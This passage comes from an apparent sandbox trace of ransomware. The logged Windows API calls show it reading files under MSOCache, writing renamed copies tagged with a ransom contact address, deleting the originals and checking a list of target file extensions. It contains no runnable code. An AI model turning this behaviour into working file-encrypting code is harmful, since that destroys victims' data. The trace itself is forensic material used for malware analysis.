out: lpNewFilePointer=0x0) returned 1 [0075.530] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0075.530] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0075.531] GetLastError () returned 0x0 [0075.531] ReadFile (in: hFile=0x1d0, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x648, lpOverlapped=0x0) returned 1 [0075.686] WriteFile (in: hFile=0x1d4, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x650, lpOverlapped=0x0) returned 1 [0075.687] ReadFile (in: hFile=0x1d0, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0075.687] WriteFile (in: hFile=0x1d4, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0075.688] SetEndOfFile (hFile=0x1d4) returned 1 [0075.688] CloseHandle (hObject=0x1d4) returned 1 [0076.213] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.213] SetEndOfFile (hFile=0x1d0) returned 1 [0076.214] CloseHandle (hObject=0x1d0) returned 1 [0076.215] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0076.215] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0076.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.215] lstrlenW (lpString=".doc") returned 4 [0076.215] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.215] lstrlenW (lpString=".docx") returned 5 [0076.215] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0076.215] lstrlenW (lpString=".pdf") returned 4 [0076.215] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.216] lstrlenW (lpString=".xls") returned 4 [0076.216] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.216] lstrlenW (lpString=".xlsx") returned 5 [0076.216] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0076.216] lstrlenW (lpString=".ppt") returned 4 [0076.216] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.216] lstrlenW (lpString=".zip") returned 4 [0076.216] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.216] lstrlenW (lpString=".rar") returned 4 [0076.216] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.216] lstrlenW (lpString=".bz2") returned 4 [0076.216] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.216] lstrlenW (lpString=".7z") returned 3 [0076.216] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.216] lstrlenW (lpString=".dbf") returned 4 [0076.216] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.216] lstrlenW (lpString=".1cd") returned 4 [0076.216] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.216] lstrlenW (lpString=".jpg") returned 4 [0076.216] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.217] lstrlenW (lpString=".doc") returned 4 [0076.217] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.217] lstrlenW (lpString=".docx") returned 5 [0076.217] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0076.217] lstrlenW (lpString=".pdf") returned 4 [0076.217] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.217] lstrlenW (lpString=".xls") returned 4 [0076.217] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.217] lstrlenW (lpString=".xlsx") returned 5 [0076.217] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0076.217] lstrlenW (lpString=".ppt") returned 4 [0076.217] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.217] lstrlenW (lpString=".zip") returned 4 [0076.217] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.217] lstrlenW (lpString=".rar") returned 4 [0076.217] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.217] lstrlenW (lpString=".bz2") returned 4 [0076.217] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.217] lstrlenW (lpString=".7z") returned 3 [0076.217] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.217] lstrlenW (lpString=".dbf") returned 4 [0076.218] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.218] lstrlenW (lpString=".1cd") returned 4 [0076.218] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.218] lstrlenW (lpString=".jpg") returned 4 [0076.218] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.218] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0076.218] lstrlenW (lpString="Proof.xml") returned 9 [0076.218] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0076.526] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1457) returned 1 [0076.526] CloseHandle (hObject=0x1d4) returned 1 [0076.526] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0076.526] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0076.527] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0076.527] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.527] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.527] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0077.291] GetLastError () returned 0x0 [0077.291] ReadFile (in: hFile=0x1d4, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0077.576] WriteFile (in: hFile=0x194, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0077.578] ReadFile (in: hFile=0x1d4, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.578] WriteFile (in: hFile=0x194, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0077.578] SetEndOfFile (hFile=0x194) returned 1 [0077.578] CloseHandle (hObject=0x194) returned 1 [0077.586] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.586] SetEndOfFile (hFile=0x1d4) returned 1 [0077.588] CloseHandle (hObject=0x1d4) returned 1 [0077.588] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0077.588] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0077.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0077.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0077.589] lstrlenW (lpString=".doc") returned 4 [0077.589] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.589] lstrlenW (lpString=".docx") returned 5 [0077.589] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0077.589] lstrlenW (lpString=".pdf") returned 4 [0077.589] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.589] lstrlenW (lpString=".xls") returned 4 [0077.589] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.589] lstrlenW (lpString=".xlsx") returned 5 [0077.589] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0077.589] lstrlenW (lpString=".ppt") returned 4 [0077.589] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0077.590] lstrlenW (lpString=".zip") returned 4 [0077.590] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.590] lstrlenW (lpString=".rar") returned 4 [0077.590] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.590] lstrlenW (lpString=".bz2") returned 4 [0077.590] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.590] lstrlenW (lpString=".7z") returned 3 [0077.590] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0077.590] lstrlenW (lpString=".dbf") returned 4 [0077.590] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0077.590] lstrlenW (lpString=".1cd") returned 4 [0077.590] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0077.590] lstrlenW (lpString=".jpg") returned 4 [0077.590] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0077.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0077.591] lstrlenW (lpString=".doc") returned 4 [0077.591] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.591] lstrlenW (lpString=".docx") returned 5 [0077.591] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0077.591] lstrlenW (lpString=".pdf") returned 4 [0077.591] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.591] lstrlenW (lpString=".xls") returned 4 [0077.591] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.591] lstrlenW (lpString=".xlsx") returned 5 [0077.591] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0077.591] lstrlenW (lpString=".ppt") returned 4 [0077.591] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0077.591] lstrlenW (lpString=".zip") returned 4 [0077.591] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.591] lstrlenW (lpString=".rar") returned 4 [0077.591] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.591] lstrlenW (lpString=".bz2") returned 4 [0077.591] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.591] lstrlenW (lpString=".7z") returned 3 [0077.592] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0077.592] lstrlenW (lpString=".dbf") returned 4 [0077.592] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0077.592] lstrlenW (lpString=".1cd") returned 4 [0077.592] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0077.592] lstrlenW (lpString=".jpg") returned 4 [0077.592] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.592] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0077.592] lstrlenW (lpString="Setup.xml") returned 9 [0077.592] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0078.197] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1988) returned 1 [0078.197] CloseHandle (hObject=0x194) returned 1 [0078.197] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0078.197] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0078.197] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0078.197] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.197] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.198] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0078.198] GetLastError () returned 0x0 [0078.198] ReadFile (in: hFile=0x194, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0079.228] WriteFile (in: hFile=0x1b8, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0079.229] ReadFile (in: hFile=0x194, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0079.230] WriteFile (in: hFile=0x1b8, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0079.230] SetEndOfFile (hFile=0x1b8) returned 1 [0079.230] CloseHandle (hObject=0x1b8) returned 1 [0079.234] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.234] SetEndOfFile (hFile=0x194) returned 1 [0079.235] CloseHandle (hObject=0x194) returned 1 [0079.236] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0079.236] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0079.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.237] lstrlenW (lpString=".doc") returned 4 [0079.237] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.237] lstrlenW (lpString=".docx") returned 5 [0079.237] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0079.237] lstrlenW (lpString=".pdf") returned 4 [0079.237] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.237] lstrlenW (lpString=".xls") returned 4 [0079.237] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.237] lstrlenW (lpString=".xlsx") returned 5 [0079.237] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0079.237] lstrlenW (lpString=".ppt") returned 4 [0079.237] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.238] lstrlenW (lpString=".zip") returned 4 [0079.238] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.238] lstrlenW (lpString=".rar") returned 4 [0079.238] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.238] lstrlenW (lpString=".bz2") returned 4 [0079.238] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.238] lstrlenW (lpString=".7z") returned 3 [0079.238] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.238] lstrlenW (lpString=".dbf") returned 4 [0079.238] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.239] lstrlenW (lpString=".1cd") returned 4 [0079.239] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.239] lstrlenW (lpString=".jpg") returned 4 [0079.239] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.240] lstrlenW (lpString=".doc") returned 4 [0079.240] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.240] lstrlenW (lpString=".docx") returned 5 [0079.240] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0079.240] lstrlenW (lpString=".pdf") returned 4 [0079.240] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.240] lstrlenW (lpString=".xls") returned 4 [0079.240] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.240] lstrlenW (lpString=".xlsx") returned 5 [0079.240] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0079.241] lstrlenW (lpString=".ppt") returned 4 [0079.241] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.241] lstrlenW (lpString=".zip") returned 4 [0079.241] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.241] lstrlenW (lpString=".rar") returned 4 [0079.241] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.241] lstrlenW (lpString=".bz2") returned 4 [0079.241] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.241] lstrlenW (lpString=".7z") returned 3 [0079.242] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.242] lstrlenW (lpString=".dbf") returned 4 [0079.242] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.242] lstrlenW (lpString=".1cd") returned 4 [0079.242] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.242] lstrlenW (lpString=".jpg") returned 4 [0079.242] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.243] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0079.243] lstrlenW (lpString="branding.xml") returned 12 [0079.243] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0079.800] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=596341) returned 1 [0079.800] CloseHandle (hObject=0x1b8) returned 1 [0079.800] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0079.800] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0079.800] CreateFileW (lpFileName="C:\\MSOCache\\All 